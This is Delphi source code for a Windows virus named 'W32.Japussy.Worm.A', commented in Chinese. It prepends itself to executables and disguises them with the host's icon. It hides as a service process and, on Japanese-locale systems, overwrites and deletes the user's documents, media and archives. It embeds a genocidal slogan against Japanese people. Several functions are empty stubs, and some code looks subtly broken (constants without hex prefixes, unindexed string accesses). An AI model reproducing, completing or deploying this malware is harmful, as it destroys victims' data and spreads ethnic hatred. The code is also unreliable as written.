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program Japussy;
  uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
  const
  HeaderSize = 82432; //病毒体的大小
  IconOffset = EB8; //PE文件主图标的偏移量
  //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
  //查找2800000020的十六进制字符串可以找到主图标的偏移量
  {
  HeaderSize = 38912; //Upx压缩过病毒体的大小
  IconOffset = BC; //Upx压缩过PE文件主图标的偏移量
  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
  }
  IconSize = E8; //PE文件主图标的大小744字节
  IconTail = IconOffset + IconSize; //PE文件主图标的尾部
  ID = 444444; //感染标记
  //无用码，以备写入
  Catchword = 'If a race need to be killed out, it must be Yamato. ' +
  'If a country need to be destroyed, it must be Japan! ' +
  '*** W32.Japussy.Worm.A ***';
  {$R *.RES}
  function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
  stDCall; external 'Kernel32.dll'; //函数声明
  var
  TmpFile: string;
  Si: STARTUPINFO;
  Pi: PROCESS_INFORMATION;
  IsJap: Boolean = False; //日文版操作系统标记
  { 判断是否为windows 9.X版本 }
  function IsWin9x: Boolean;
  var
  Ver: TOSVersionInfo;
  begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
  Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
  Result := True;
  end;
  { 在流之间复制 }
  procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
  var
  sCurPos, dCurPos: Integer;
  begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, 0);
  Dst.Seek(dStartPos, 0);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, 0);
  Dst.Seek(dCurPos, 0);
  end;
  { 将宿主文件从已感染的PE文件中分离出来，以备使用 }
  procedure ExtractFile(FileName: string);
  var
  sStream, dStream: TFileStream;
  begin
  try
  sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
  try
  dStream := TFileStream.Create(FileName, fmCreate);
  try
  sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
  dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
  finally
  dStream.Free;
  end;
  finally
  sStream.Free;
  end;
  except
  end;
  end;
  { 填充STARTUPINFO结构 }
  procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
  begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
  end;
  { 发带毒邮件 }
  procedure SendMail;
  begin
  //邮件终止
  end;
  { 感染PE文件 }
  procedure InfectOneFile(FileName: string);
  var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
  begin
  try //出错则文件正在被使用，退出
  if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
  Exit;
  Infected := False;
  IsPE := False;
  SrcStream := TFileStream.Create(FileName, fmOpenRead);
  try
  for i := 0 to 8 do //检查PE文件头
  begin
  SrcStream.Seek(i, soFromBeginning);
  SrcStream.Read(Buf, 2);
  if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
  begin
  IsPE := True; //是PE文件
  Break;
  end;
  end;
  SrcStream.Seek(-4, soFromEnd); //检查感染标记
  SrcStream.Read(iID, 4);
  if (iID = ID) or (SrcStream.Size < 10240) then //小于10240的文件不被感染
  Infected := True;
  finally
  SrcStream.Free;
  end;
  if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
  Exit;
  IcoStream := TMemoryStream.Create;
  DstStream := TMemoryStream.Create;
  try
  aIcon := TIcon.Create;
  try
  //得到被感染文件的主图标(744字节)，存入流
  aIcon.ReleaseHandle;
  aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
  aIcon.SaveToStream(IcoStream);
  finally
  aIcon.Free;
  end;
  SrcStream := TFileStream.Create(FileName, fmOpenRead);
  //头文件
  HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
  try
  //写入病毒体主图标之前的数据
  CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
  //写入目前程序的主图标
  CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
  //写入病毒体主图标到病毒体尾部之间的数据
  CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
  //写入宿主程序
  CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
  //写入已感染的标记
  DstStream.Seek(0, 2);
  iID := 444444;
  DstStream.Write(iID, 4);
  finally
  HdrStream.Free;
  end;
  finally
  SrcStream.Free;
  IcoStream.Free;
  DstStream.SaveToFile(FileName); //替换宿主文件
  DstStream.Free;
  end;
  except;
  end;
  end;
  { 将目标文件写入无用码后删除 }
  procedure SmashFile(FileName: string);
  var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
  begin
  try
  SetFileAttributes(PChar(FileName), 0); //去掉只读属性
  FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
  try
  Size := GetFileSize(FileHandle, nil); //获取文件大小
  i := 0;
  Randomize;
  Max := Random(15); //写入无用码的随机次数
  if Max < 5 then
  Max := 5;
  Mass := Size div Max; //每个间隔块的大小
  Len := Length(Catchword);
  while i < Max do
  begin
  FileSeek(FileHandle, i * Mass, 0); //定位
  //写入无用码，将文件彻底破坏！
  FileWrite(FileHandle, Catchword, Len);
  Inc(i);
  end;
  finally
  FileClose(FileHandle); //关闭文件
  end;
  DeleteFile(PChar(FileName)); //删除
  except
  end;
  end;
  { 获得可以写入的驱动器列表 }
  function GetDrives: string;
  var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
  begin
  for i := 0 to 25 do //遍历26个字母
  begin
  D := Chr(i + 65);
  Str := D + ':\';
  DiskType := GetDriveType(PChar(Str));
  //得到本地磁盘和网络盘
  if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
  Result := Result + D;
  end;
  end;
  { 遍历目录，感染和摧毁文件 }
  procedure LoopFiles(Path, Mask: string);
  var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
  if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
  (SearchRec.Name <> '..') then
  Result := 0 //不是目录
  else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
  (SearchRec.Name <> '..') then
  Result := 1 //不是根目录
  else Result := 2; //是根目录
  end;
  begin
  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
  begin
  repeat
  PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
  if IsValidDir(SearchRec) = 0 then
  begin
  Fn := Path + SearchRec.Name;
  Ext := UpperCase(ExtractFileExt(Fn));
  if (Ext = '.EXE') or (Ext = '.SCR') then
  begin
  InfectOneFile(Fn); //感染可执行文件
  end
  else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
  begin
  //感染HTML和ASP文件，将Base64编码后的病毒写入
  //感染浏览此网页的所有用户
  //哪位大兄弟愿意完成之？
  end
  else if Ext = '.WAB' then //Outlook地址簿文件
  begin
  //获取Outlook邮件地址
  end
  else if Ext = '.ADC' then //Foxmail地址自动完成文件
  begin
  //获取Foxmail邮件地址
  end
  else if Ext = 'IND' then //Foxmail地址簿文件
  begin
  //获取Foxmail邮件地址
  end
  else
  begin
  if IsJap then //是倭文操作系统
  begin
  if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
  (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
  (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
  (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
  (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
  (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
  SmashFile(Fn); //摧毁文件
  end;
  end;
  end;
  //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
  Sleep(200);
  until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  SubDir := TStringList.Create;
  if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
  begin
  repeat
  if IsValidDir(SearchRec) = 1 then
  SubDir.Add(SearchRec.Name);
  until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  Count := SubDir.Count - 1;
  for i := 0 to Count do
  LoopFiles(Path + SubDir.Strings + '\', Mask);
  FreeAndNil(SubDir);
  end;
  { 遍历磁盘上所有的文件 }
  procedure InfectFiles;
  var
  DriverList: string;
  i, Len: Integer;
  begin
  if GetACP = 932 then //日文操作系统
  IsJap := True; //去死吧！
  DriverList := GetDrives; //得到可写的磁盘列表
  Len := Length(DriverList);
  while True do //死循环
  begin
  for i := Len downto 1 do //遍历每个磁盘驱动器
  LoopFiles(DriverList + ':\', '*.*'); //感染之
  SendMail; //发带毒邮件
  Sleep(1000 * 60 * 5); //睡眠5分钟
  end;
  end;
  { 主程序开始 }
  begin
  if IsWin9x then //是Win9x
  RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
  else //WinNT
  begin
  //远程线程映射到Explorer进程
  //
  end;
  //如果是原始病毒体自己
  if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
  InfectFiles //感染和发邮件
  else //已寄生于宿主程序并开始工作
  begin
  TmpFile := ParamStr(0); //创建临时文件
  Delete(TmpFile, Length(TmpFile) - 4, 4);
  TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
  ExtractFile(TmpFile); //分离之
  FillStartupInfo(Si, SW_SHOWDEFAULT);
  CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
  0, nil, '.', Si, Pi); //创建新进程运行之
  InfectFiles; //感染和发邮件
  end;
  end.
  CMD命令 shutdown -a //取消计算机中病毒后的倒记时关机。